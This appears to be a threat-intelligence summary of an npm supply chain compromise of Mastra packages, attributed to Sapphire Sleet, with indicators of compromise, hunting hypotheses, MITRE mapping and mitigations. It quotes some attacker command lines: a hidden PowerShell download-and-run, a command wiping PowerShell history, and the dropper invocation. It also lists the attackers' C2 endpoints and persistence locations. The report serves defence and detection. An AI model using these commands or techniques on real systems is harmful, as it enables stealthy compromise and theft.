From package to postinstall payload: Inside the Mastra npm supply chain compromise by Sapphire Sleet
Microsoft identified a large-scale npm supply chain attack by North Korean threat actor Sapphire Sleet, compromising over 140 packages in the Mastra ecosystem. The attackers used a compromised maintainer account to inject a malicious typosquat dependency that executes a cross-platform Node.js implant during installation, leading to cryptocurrency wallet theft, host reconnaissance, and persistent backdoor access.
- domainmaskasd[.]comPost-compromise C2 beacon domain
- domainteams[.]onweblive[.]orgPost-compromise PowerShell backdoor delivery domain
- ip23[.]254[.]164[.]123Secondary C2 address extracted from deobfuscated strings
- ip23[.]254[.]164[.]92Primary C2 server and payload download endpoint
- npm_packageeasy-day-jsMalicious typosquat of dayjs injected into Mastra packages
- sha2561d1bf5e8c1539d2f05b1429235b8f4990f87036774be95157b315a7803dd5526Second stage Powershell Script
- sha256221c45a790dec2a296af57969e1165a16f8f49733aeab64c0bbd768d9943badfprotocol.cjs (second-stage Node.js implant)
- sha2564a8860240e4231c3a74c81949be655a28e096a7d72f38fbe84e5b37636b98417easy-day-js-1.11.21.tgz (clean bait tarball)
- sha25650eae63d3e24be9ca8803f4b5a0408aef97ee3fab7af018d8c2dde7c359edd65Downloader and backdoor PowerShell script
- sha256ae70dd4f6bc0d1c8c2848e4e6b51934626c4818dcb5af99d080ddbd7dc337185easy-day-js-1.11.22.tgz (weaponized tarball)
- sha256b122a9873bedf145ae2a7fd024b5f309007dbb025149f4dc4ac3f7e4f32a36a4setup.cjs (malicious postinstall dropper)
- sha256b73de25c053c3225a077738a1fcbd9ca6966d7b3cd6f5494a30f0aa0eae55c7emastra-1.13.1.tgz (compromised CLI tarball)
- urlhxxps://23[.]254[.]164[.]92:8000/update/49890878Payload download endpoint for second-stage implant
- urlhxxps://maskasd[.]com/8555575039Post-compromise C2 beacon endpoint
- urlhxxps://teams[.]onweblive[.]org/api/update/8555575039/4Post-compromise PowerShell backdoor download endpoint
Detection / HunterGoogle
What Happened
Hackers linked to North Korea compromised a popular software building block called Mastra, affecting over 140 related packages. Developers and automated systems that downloaded these compromised packages were infected with hidden malware during the installation process. This matters because the malware steals cryptocurrency wallet information and gives the attackers persistent, hidden access to the infected computers. Organizations should check their software projects for the malicious 'easy-day-js' package, rotate any potentially exposed passwords or keys, and block the attackers' network addresses.
Key Takeaways
- Sapphire Sleet compromised the 'ehindero' npm account to inject a malicious typosquat package ('easy-day-js') into 140+ '@mastra' scope packages.
- The malicious package uses a postinstall hook to execute an obfuscated dropper ('setup.cjs') that disables TLS verification and fetches a second-stage payload.
- The second-stage Node.js implant establishes cross-platform persistence and steals cryptocurrency wallet data and browser history.
- On Windows, the attack escalates to reflective .NET assembly injection and a persistent PowerShell backdoor running as SYSTEM.
Affected Systems
- Developer workstations running Windows, macOS, or Linux
- CI/CD pipelines executing 'npm install' or 'npm update'
- Projects utilizing @mastra packages version 1.13.1 or later
Attack Chain
The attack begins with the compromise of the 'ehindero' npm account, which was used to inject the malicious 'easy-day-js' typosquat package into over 140 Mastra packages. During 'npm install', a postinstall hook executes an obfuscated dropper ('setup.cjs') that disables TLS verification and downloads a second-stage Node.js implant. This implant establishes cross-platform persistence, steals cryptocurrency wallet data, and communicates with C2 servers. On Windows, the attack escalates by reflectively injecting a .NET assembly into memory, deploying a persistent PowerShell backdoor, and ultimately creating a SYSTEM-level service for deep persistence.
Detection Availability
- YARA Rules: No
- Sigma Rules: No
- Snort/Suricata Rules: No
- KQL Queries: Yes
- Splunk SPL Queries: No
- EQL Queries: No
- Other Detection Logic: No
- Platforms: Microsoft Defender XDR
The article provides KQL queries for Microsoft Defender XDR to hunt for postinstall execution of setup.cjs and outbound connections to the known C2 infrastructure.
Detection Engineering Assessment
EDR Visibility: High — EDR solutions can monitor process creation (Node.js spawning hidden processes), registry modifications (Run keys), service creation, and PowerShell execution with suspicious arguments. Network Visibility: Medium — While C2 IP addresses and domains are known, the malware disables TLS verification and uses HTTPS, meaning payload contents are encrypted. However, the spoofed IE8 User-Agent string provides a strong network hunting pivot. Detection Difficulty: Moderate — The initial infection occurs during routine developer activity (npm install), which generates significant noise. However, the post-compromise behaviors (hidden Node.js processes, reflective injection, specific Run keys) are highly anomalous and detectable.
Required Log Sources
- Process Creation (Event ID 4688 / Sysmon 1)
- Registry Events (Sysmon 12, 13, 14)
- Network Connections (Sysmon 3)
- PowerShell Operational Logs (Event ID 4104)
Hunting Hypotheses
| Hypothesis | Telemetry | ATT&CK Stage | FP Risk |
|---|---|---|---|
| Consider hunting for Node.js processes executing scripts named 'setup.cjs' or containing '--no-warnings' in the command line, especially when spawned by package managers. | Process Creation | Execution | Low |
| If you have visibility into network traffic, consider hunting for outbound HTTPS connections utilizing a legacy Internet Explorer 8 User-Agent string ('mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)'). | Network Traffic | Command and Control | Low |
| Consider hunting for registry modifications targeting the Run key with values named 'NvmProtocal' or 'MicrosoftUpdate' that execute PowerShell or Node.js. | Registry Events | Persistence | Low |
| Consider hunting for PowerShell processes executing with '-w h' (WindowStyle Hidden) and '-c' followed by 'iwr' or 'Invoke-WebRequest' to download payloads. | Process Creation | Execution | Medium |
Control Gaps
- Lack of egress filtering for CI/CD pipelines
- Missing enforcement of package-lock.json or dependency pinning
- Insufficient monitoring of developer workstations for anomalous Node.js behavior
Key Behavioral Indicators
- Node.js processes running fully detached and hidden
- PowerShell commands clearing PSReadLine history
- Creation of .pkg_history and .pkg_logs files in temporary directories
- Spoofed IE8 User-Agent in network requests
False Positive Assessment
- Low
Recommendations
Immediate Mitigation
- Verify against your organization's incident response runbook and team escalation paths before acting.
- Review dependency trees for direct or transitive usage of affected @mastra packages (v1.13.1 and later).
- Check for the presence of 'easy-day-js' in node_modules/ or package-lock.json files across projects and CI/CD environments.
- If applicable, block the identified C2 IP addresses and domains at the network perimeter.
- Consider rotating any credentials, tokens, or API keys that may have been present on systems where the compromised packages were installed.
Infrastructure Hardening
- Evaluate whether CI/CD pipelines can be restricted to only allow outbound network connections to approved repositories and services.
- Consider pinning known-good package versions in project configurations to prevent automatic updates to compromised versions.
- If supported by your build environment, consider running 'npm install' with '--ignore-scripts' to prevent automatic execution of postinstall hooks.
User Protection
- Ensure developer workstations have EDR coverage and are monitored for suspicious child processes spawned by package managers.
- Evaluate whether host-based firewalls can restrict outbound connections from Node.js or PowerShell to non-standard ports or unknown IPs.
Security Awareness
- Educate development teams on the risks of typosquatting and the importance of verifying package names and maintainers.
- Consider incorporating supply chain security checks into existing developer training programs.
MITRE ATT&CK Mapping
- T1078 - Valid Accounts
- T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain
- T1059.001 - Command and Scripting Interpreter: PowerShell
- T1059.007 - Command and Scripting Interpreter: JavaScript
- T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder
- T1543.004 - Create or Modify System Process: macOS Launch Daemon
- T1543.002 - Create or Modify System Process: Systemd Service
- T1543.003 - Create or Modify System Process: Windows Service
- T1055 - Process Injection
- T1562.001 - Impair Defenses: Disable or Modify Tools
- T1070.003 - Indicator Removal: Clear Command History
- T1005 - Data from Local System
Additional IOCs
- Urls:
hxxps://maskasd[.]com/8555575039- Post-compromise C2 beacon endpoint
- File Hashes:
4A8860240E4231C3A74C81949BE655A28E096A7D72F38FBE84E5B37636B98417(SHA256) - easy-day-js-1.11.21.tgz (clean bait tarball)B73DE25C053C3225A077738A1FCBD9CA6966D7B3CD6F5494A30F0AA0EAE55C7E(SHA256) - mastra-1.13.1.tgz (compromised CLI tarball)50eae63d3e24be9ca8803f4b5a0408aef97ee3fab7af018d8c2dde7c359edd65(SHA256) - Downloader and backdoor PowerShell script1d1bf5e8c1539d2f05b1429235b8f4990f87036774be95157b315a7803dd5526(SHA256) - Second stage Powershell Script
- Registry Keys:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\NvmProtocal- Windows persistence Run key for Node.js implantHKCU\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftUpdate- Windows persistence Run key for PowerShell backdoorHKLM\SYSTEM\CurrentControlSet\services\scdev\Parameters- Service-level persistence registry key for malicious DLL
- File Paths:
C:\ProgramData\NodePackages\protocal.cjs- Windows drop location for Node.js implant~/Library/NodePackages/com.nvm.protocal.plist- macOS LaunchAgent persistence artifact~/.config/systemd/nvmconf/nvmconf.service- Linux systemd user unit persistence artifactC:\ProgramData\system.bat- Hidden batch file for PowerShell backdoor persistenceC:\Windows\System32\scdev.dll- Malicious DLL loaded by persistent service
- Command Lines:
- Purpose: Execute obfuscated dropper during npm postinstall | Tools:
node| Stage: Execution |node setup.cjs --no-warnings - Purpose: Download and execute PowerShell backdoor | Tools:
powershell.exe| Stage: Execution |powershell -w h -c "iwr -UseBasicParsing - Purpose: Delete PowerShell command history for anti-forensics | Tools:
powershell.exe| Stage: Defense Evasion |Remove-Item (Get-PSReadLineOption).HistorySavePath -Force - Purpose: Create persistent service for SYSTEM-level access | Tools:
sc.exe| Stage: Persistence - Purpose: Add registry key for service DLL | Tools:
reg.exe| Stage: Persistence - Purpose: Add registry Run key for Node.js implant persistence | Tools:
reg.exe| Stage: Persistence
- Purpose: Execute obfuscated dropper during npm postinstall | Tools: